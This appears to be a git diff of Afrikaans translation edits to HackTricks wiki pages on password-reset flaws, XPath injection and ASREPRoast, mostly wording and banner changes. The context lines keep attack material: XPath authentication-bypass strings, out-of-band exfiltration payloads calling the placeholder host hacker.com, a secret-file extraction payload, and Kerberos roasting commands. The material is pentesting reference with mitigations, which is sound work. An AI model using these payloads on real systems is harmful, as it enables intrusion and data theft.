{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -34,7 +34,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
* Die HTTP referer kop kan die wagwoord herstel token lek as dit in die URL ingesluit is. Dit kan gebeur wanneer 'n gebruiker op 'n derdeparty-webwerf skakel nadat hy 'n wagwoord herstel aangevra het.
|
||||
* **Impak**: Potensiële rekening oorname via Cross-Site Request Forgery (CSRF) aanvalle.
|
||||
* **Eksploitatie**: Om te kontroleer of 'n wagwoord herstel token in die referer kop lek, **versoek 'n wagwoord herstel** na jou e-pos adres en **klik die herstel skakel** wat gegee is. **Moet nie jou wagwoord** onmiddellik verander nie. In plaas daarvan, **navigeer na 'n derdeparty-webwerf** (soos Facebook of Twitter) terwyl jy **die versoeke met Burp Suite onderskep**. Ondersoek die versoeke om te sien of die **referer kop die wagwoord herstel token bevat**, aangesien dit sensitiewe inligting aan derde partye kan blootstel.
|
||||
* **Eksploitatie**: Om te kontroleer of 'n wagwoord herstel token in die referer kop lek, **versoek 'n wagwoord herstel** na jou e-posadres en **klik op die herstel skakel** wat gegee is. **Moet nie jou wagwoord** onmiddellik verander nie. In plaas daarvan, **navigeer na 'n derdeparty-webwerf** (soos Facebook of Twitter) terwyl jy **die versoeke met Burp Suite onderskep**. Ondersoek die versoeke om te sien of die **referer kop die wagwoord herstel token bevat**, aangesien dit sensitiewe inligting aan derde partye kan blootstel.
|
||||
* **Verwysings**:
|
||||
* [HackerOne Verslag 342693](https://hackerone.com/reports/342693)
|
||||
* [HackerOne Verslag 272379](https://hackerone.com/reports/272379)
|
||||
|
@ -98,7 +98,7 @@ POST /resetPassword
|
|||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
* **Mitigeringstappe**:
|
||||
* Parseer en valideer e-posparameters behoorlik aan die bedienerkant.
|
||||
* Parseer en valideer e-posparameters behoorlik aan die bediener-kant.
|
||||
* Gebruik voorbereide verklarings of geparametriseerde navrae om inspuitaanvalle te voorkom.
|
||||
* **Verwysings**:
|
||||
* [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
|
@ -114,31 +114,31 @@ POST /api/changepass
|
|||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
* **Mitigeringstappe**:
|
||||
* Verseker strenge parametervalidasie en outentikasie kontrole.
|
||||
* Verseker strikte parametervalidasie en outentikasie kontroles.
|
||||
* Implementeer robuuste logging en monitering om verdagte aktiwiteite op te spoor en daarop te reageer.
|
||||
* **Verwysing**:
|
||||
* [Volledige rekening oorname via API parameter manipulasie](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
* [Volledige Rekening Oorname via API Parameter Manipulasie](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **Geen Tempo Beperking: E-pos Bombardering**
|
||||
## **Geen Tariefbeperking: E-pos Bombardering**
|
||||
|
||||
* Gebrek aan tempo beperking op wagwoord herstel versoeke kan lei tot e-pos bombardering, wat die gebruiker oorweldig met herstel e-posse.
|
||||
* Gebrek aan tariefbeperking op wagwoordherstel versoeke kan lei tot e-pos bombardering, wat die gebruiker oorweldig met herstel e-posse.
|
||||
* **Mitigeringstappe**:
|
||||
* Implementeer tempo beperking gebaseer op IP adres of gebruikersrekening.
|
||||
* Gebruik CAPTCHA uitdagings om outomatiese misbruik te voorkom.
|
||||
* Implementeer tariefbeperking gebaseer op IP-adres of gebruikersrekening.
|
||||
* Gebruik CAPTCHA-uitdagings om geoutomatiseerde misbruik te voorkom.
|
||||
* **Verwysings**:
|
||||
* [HackerOne Verslag 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **Vind uit hoe Wagwoord Herstel Token gegenereer word**
|
||||
## **Vind uit Hoe Wagwoordherstel Token Geproduseer Word**
|
||||
|
||||
* Om die patroon of metode agter token generasie te verstaan, kan lei tot die voorspel of brute-forcing van tokens. Sommige opsies:
|
||||
* Gebaseer op tydstempel
|
||||
* Gebaseer op die gebruikers-ID
|
||||
* Gebaseer op die e-pos van die gebruiker
|
||||
* Om die patroon of metode agter tokenproduksie te verstaan, kan lei tot die voorspel of brute-forcing van tokens. Sommige opsies:
|
||||
* Gebaseer op Tydstempel
|
||||
* Gebaseer op die GebruikerID
|
||||
* Gebaseer op die e-pos van die Gebruiker
|
||||
* Gebaseer op Voornaam en Van
|
||||
* Gebaseer op Geboortedatum
|
||||
* Gebaseer op Kryptografie
|
||||
* Gebaseer op Krypto
|
||||
* **Mitigeringstappe**:
|
||||
* Gebruik sterk, kryptografiese metodes vir token generasie.
|
||||
* Gebruik sterk, krypto-metodes vir tokenproduksie.
|
||||
* Verseker voldoende ewekansigheid en lengte om voorspelbaarheid te voorkom.
|
||||
* **Gereedskap**: Gebruik Burp Sequencer om die ewekansigheid van tokens te analiseer.
|
||||
|
||||
|
@ -154,41 +154,41 @@ POST /api/changepass
|
|||
* Gebruik GUID weergawe 4 vir ewekansigheid of implementeer addisionele sekuriteitsmaatreëls vir ander weergawes.
|
||||
* **Gereedskap**: Gebruik [guidtool](https://github.com/intruder-io/guidtool) om GUIDs te analiseer en te genereer.
|
||||
|
||||
## **Antwoord Manipulasie: Vervang Slegte Antwoord met Goeie Een**
|
||||
## **Antwoord Manipulasie: Vervang Slegte Antwoord Met Goeie Een**
|
||||
|
||||
* Manipuleer HTTP-antwoorde om foutboodskappe of beperkings te omseil.
|
||||
* **Mitigeringstappe**:
|
||||
* Implementeer bediener-kant kontroles om antwoordintegriteit te verseker.
|
||||
* Gebruik veilige kommunikasiekanale soos HTTPS om man-in-the-middle aanvalle te voorkom.
|
||||
* Gebruik veilige kommunikasiekanale soos HTTPS om man-in-the-middle-aanvalle te voorkom.
|
||||
* **Verwysing**:
|
||||
* [Kritieke Fout in Lewende Fout Bounty Gebeurtenis](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
* [Kritieke Fout in Lewende Foutbounty Gebeurtenis](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **Gebruik van Verloop Token**
|
||||
|
||||
* Toets of verloop tokens steeds gebruik kan word vir wagwoord herstel.
|
||||
* Toets of vervalde tokens steeds gebruik kan word vir wagwoordherstel.
|
||||
* **Mitigeringstappe**:
|
||||
* Implementeer strenge token verloopbeleide en valideer token vervaldatum bediener-kant.
|
||||
* Implementeer strikte tokenvervalbeleide en valideer tokenverval bediener-kant.
|
||||
|
||||
## **Brute Force Wagwoord Herstel Token**
|
||||
## **Brute Force Wagwoordherstel Token**
|
||||
|
||||
* Poging om die herstel token te brute-force met gereedskap soos Burpsuite en IP-Rotator om IP-gebaseerde tempo beperkings te omseil.
|
||||
* Poging om die herstel token te brute-force met gereedskap soos Burpsuite en IP-Rotator om IP-gebaseerde tariefbeperkings te omseil.
|
||||
* **Mitigeringstappe**:
|
||||
* Implementeer robuuste tempo-beperking en rekening sluiting meganismes.
|
||||
* Implementeer robuuste tariefbeperking en rekeningvergrendelingsmeganismes.
|
||||
* Monitor vir verdagte aktiwiteite wat dui op brute-force aanvalle.
|
||||
|
||||
## **Probeer om Jou Token te Gebruik**
|
||||
## **Probeer Jou Token Gebruik**
|
||||
|
||||
* Toets of 'n aanvaller se herstel token saam met die slagoffer se e-pos gebruik kan word.
|
||||
* **Mitigeringstappe**:
|
||||
* Verseker dat tokens aan die gebruikersessie of ander gebruikerspesifieke eienskappe gebind is.
|
||||
|
||||
## **Sessie Ongeldigmaking by Afmelding/Wagwoord Herstel**
|
||||
## **Sessie Ongeldigmaking by Afmelding/Wagwoordherstel**
|
||||
|
||||
* Verseker dat sessies ongeldig gemaak word wanneer 'n gebruiker afmeld of hul wagwoord herstel.
|
||||
* **Mitigeringstappe**:
|
||||
* Implementeer behoorlike sessiebestuur, wat verseker dat alle sessies ongeldig gemaak word by afmelding of wagwoord herstel.
|
||||
* Implementeer behoorlike sessiebestuur, wat verseker dat alle sessies ongeldig gemaak word by afmelding of wagwoordherstel.
|
||||
|
||||
## **Sessie Ongeldigmaking by Afmelding/Wagwoord Herstel**
|
||||
## **Sessie Ongeldigmaking by Afmelding/Wagwoordherstel**
|
||||
|
||||
* Herstel tokens moet 'n vervaldatum hê waarna hulle ongeldig word.
|
||||
* **Mitigeringstappe**:
|
||||
|
@ -198,32 +198,32 @@ POST /api/changepass
|
|||
|
||||
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en fout bounty jagters te kommunikeer!
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
**Hacking Inligting**\
|
||||
Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
Engage with content that delves into the thrill and challenges of hacking
|
||||
|
||||
**Regstydse Hack Nuus**\
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur regstydse nuus en insigte
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Keep up-to-date with fast-paced hacking world through real-time news and insights
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste fout bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
Stay informed with the newest bug bounties launching and crucial platform updates
|
||||
|
||||
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -15,26 +15,26 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en bug bounty jagters!
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
**Hacking Insigte**\
|
||||
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
**Hacking Inligting**\
|
||||
Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnige hacking wêreld deur regte tyd nuus en insigte
|
||||
**Regstydse Hack Nuus**\
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur regstydse nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
||||
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
|
||||
## Basic Syntax
|
||||
## Basiese Sintaksis
|
||||
|
||||
'n Aanvalstegniek bekend as XPath Injection word gebruik om voordeel te trek uit toepassings wat XPath (XML Path Language) navrae vorm gebaseer op gebruikersinvoer om XML-dokumente te navraag of te navigeer.
|
||||
|
||||
### Nodes Described
|
||||
### Nodes Beskryf
|
||||
|
||||
Uitdrukkings word gebruik om verskillende nodes in 'n XML-dokument te kies. Hierdie uitdrukkings en hul beskrywings word hieronder saamgevat:
|
||||
|
||||
|
@ -45,7 +45,7 @@ Uitdrukkings word gebruik om verskillende nodes in 'n XML-dokument te kies. Hier
|
|||
* **..**: Die ouer van die huidige node word gekies.
|
||||
* **@**: Attribuut word gekies.
|
||||
|
||||
### XPath Examples
|
||||
### XPath Voorbeelde
|
||||
|
||||
Voorbeelde van paduitdrukkings en hul resultate sluit in:
|
||||
|
||||
|
@ -56,7 +56,7 @@ Voorbeelde van paduitdrukkings en hul resultate sluit in:
|
|||
* **bookstore//book**: Alle boek elemente wat afstammelinge van die bookstore element is, word gekies, maak nie saak hul posisie onder die bookstore element nie.
|
||||
* **//@lang**: Alle attribuut met die naam lang word gekies.
|
||||
|
||||
### Utilization of Predicates
|
||||
### Gebruik van Predikate
|
||||
|
||||
Predikate word gebruik om keuses te verfyn:
|
||||
|
||||
|
@ -69,7 +69,7 @@ Predikate word gebruik om keuses te verfyn:
|
|||
* **/bookstore/book\[price>35.00]**: Alle boek elemente van die bookstore met 'n prys groter as 35.00 word gekies.
|
||||
* **/bookstore/book\[price>35.00]/title**: Alle titel elemente van die boek elemente van die bookstore met 'n prys groter as 35.00 word gekies.
|
||||
|
||||
### Handling of Unknown Nodes
|
||||
### Hantering van Onbekende Nodes
|
||||
|
||||
Wildcard karakters word gebruik om onbekende nodes te pas:
|
||||
|
||||
|
@ -83,7 +83,7 @@ Verder voorbeelde sluit in:
|
|||
* **//\***: Kies alle elemente in die dokument.
|
||||
* **//title\[@\*]**: Kies alle titel elemente met ten minste een attribuut van enige soort.
|
||||
|
||||
## Example
|
||||
## Voorbeeld
|
||||
```xml
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<data>
|
||||
|
@ -166,14 +166,14 @@ and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of
|
|||
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
|
||||
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
|
||||
```
|
||||
## Outentiekeer Omseiling
|
||||
## Outentiekingsomseiling
|
||||
|
||||
### **Voorbeeld van navrae:**
|
||||
```
|
||||
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
|
||||
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
|
||||
```
|
||||
### **OF omseiling in gebruiker en wagwoord (dieselfde waarde in albei)**
|
||||
### **OF omseil in gebruiker en wagwoord (dieselfde waarde in albei)**
|
||||
```
|
||||
' or '1'='1
|
||||
" or "1"="1
|
||||
|
@ -269,7 +269,7 @@ break
|
|||
```python
|
||||
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
|
||||
```
|
||||
## OOB Exploitatie
|
||||
## OOB Exploitasie
|
||||
```python
|
||||
doc(concat("http://hacker.com/oob/", RESULTS))
|
||||
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
|
||||
|
@ -294,15 +294,15 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
|
|||
* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
|
||||
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
**Hacking Inligting**\
|
||||
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnige hacking wêreld deur middel van regte tyd nuus en insigte
|
||||
**Regstydse Hack Nuus**\
|
||||
Bly op hoogte van die vinnige hacking wêreld deur middel van regstydse nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
|
|
@ -15,15 +15,15 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en bug bounty jagters!
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
**Hacking Inligting**\
|
||||
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte-Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnige hacking wêreld deur regte-tyd nuus en insigte
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur regte-tyd nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
@ -32,13 +32,13 @@ Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike pla
|
|||
|
||||
## ASREPRoast
|
||||
|
||||
ASREPRoast is 'n sekuriteitsaanval wat gebruikers teiken wat die **Kerberos voor-sertifisering vereiste attribuut** ontbreek. Essensieel laat hierdie kwesbaarheid aanvallers toe om sertifisering vir 'n gebruiker van die Domeinbeheerder (DC) aan te vra sonder om die gebruiker se wagwoord te benodig. Die DC antwoord dan met 'n boodskap wat geënkripteer is met die gebruiker se wagwoord-afgeleide sleutel, wat aanvallers kan probeer om offline te kraak om die gebruiker se wagwoord te ontdek.
|
||||
ASREPRoast is 'n sekuriteitsaanval wat gebruikers teiken wat die **Kerberos voor-sertifisering vereiste attribuut** ontbreek. Essensieel laat hierdie kwesbaarheid aanvallers toe om sertifisering vir 'n gebruiker van die Domeinbeheerder (DC) aan te vra sonder om die gebruiker se wagwoord te benodig. Die DC antwoord dan met 'n boodskap wat met die gebruiker se wagwoord-afgeleide sleutel geënkripteer is, wat aanvallers kan probeer om offline te kraak om die gebruiker se wagwoord te ontdek.
|
||||
|
||||
Die hoofvereistes vir hierdie aanval is:
|
||||
|
||||
* **Ontbreking van Kerberos voor-sertifisering**: Teiken gebruikers moet nie hierdie sekuriteitskenmerk geaktiveer hê nie.
|
||||
* **Gebrek aan Kerberos voor-sertifisering**: Teiken gebruikers mag nie hierdie sekuriteitskenmerk geaktiveer hê nie.
|
||||
* **Verbintenis met die Domeinbeheerder (DC)**: Aanvallers het toegang tot die DC nodig om versoeke te stuur en geënkripteerde boodskappe te ontvang.
|
||||
* **Opsionele domeinrekening**: Om 'n domeinrekening te hê, laat aanvallers toe om kwesbare gebruikers meer doeltreffend te identifiseer deur LDAP-navrae. Sonder so 'n rekening moet aanvallers gebruikersname raai.
|
||||
* **Opsionele domeinrekening**: Om 'n domeinrekening te hê, laat aanvallers toe om kwesbare gebruikers meer doeltreffend te identifiseer deur middel van LDAP-vrae. Sonder so 'n rekening moet aanvallers gebruikersname raai.
|
||||
|
||||
#### Enumerering van kwesbare gebruikers (het domein kredensiale nodig)
|
||||
|
||||
|
@ -99,7 +99,7 @@ bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac
|
|||
|
||||
## ASREProast sonder geloofsbriewe
|
||||
|
||||
'n Aanvaller kan 'n man-in-the-middle posisie gebruik om AS-REP pakkette te vang terwyl hulle deur die netwerk beweeg sonder om op Kerberos voor-outekenning staat te maak. Dit werk dus vir alle gebruikers op die VLAN.\
|
||||
'n Aanvaller kan 'n man-in-the-middle posisie gebruik om AS-REP pakkette te vang terwyl hulle deur die netwerk beweeg sonder om op Kerberos vooraf-sertifisering staat te maak. Dit werk dus vir alle gebruikers op die VLAN.\
|
||||
[ASRepCatcher](https://github.com/Yaxxine7/ASRepCatcher) laat ons dit doen. Boonop dwing die hulpmiddel kliënt werkstasies om RC4 te gebruik deur die Kerberos onderhandeling te verander.
|
||||
```bash
|
||||
# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
|
||||
|
@ -117,15 +117,15 @@ ASRepCatcher listen
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
**Hacking Inligting**\
|
||||
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur middel van regte tyd nuus en insigte
|
||||
**Regte-Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur regte-tyd nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
@ -133,8 +133,8 @@ Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike pla
|
|||
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
Loading…
Reference in a new issue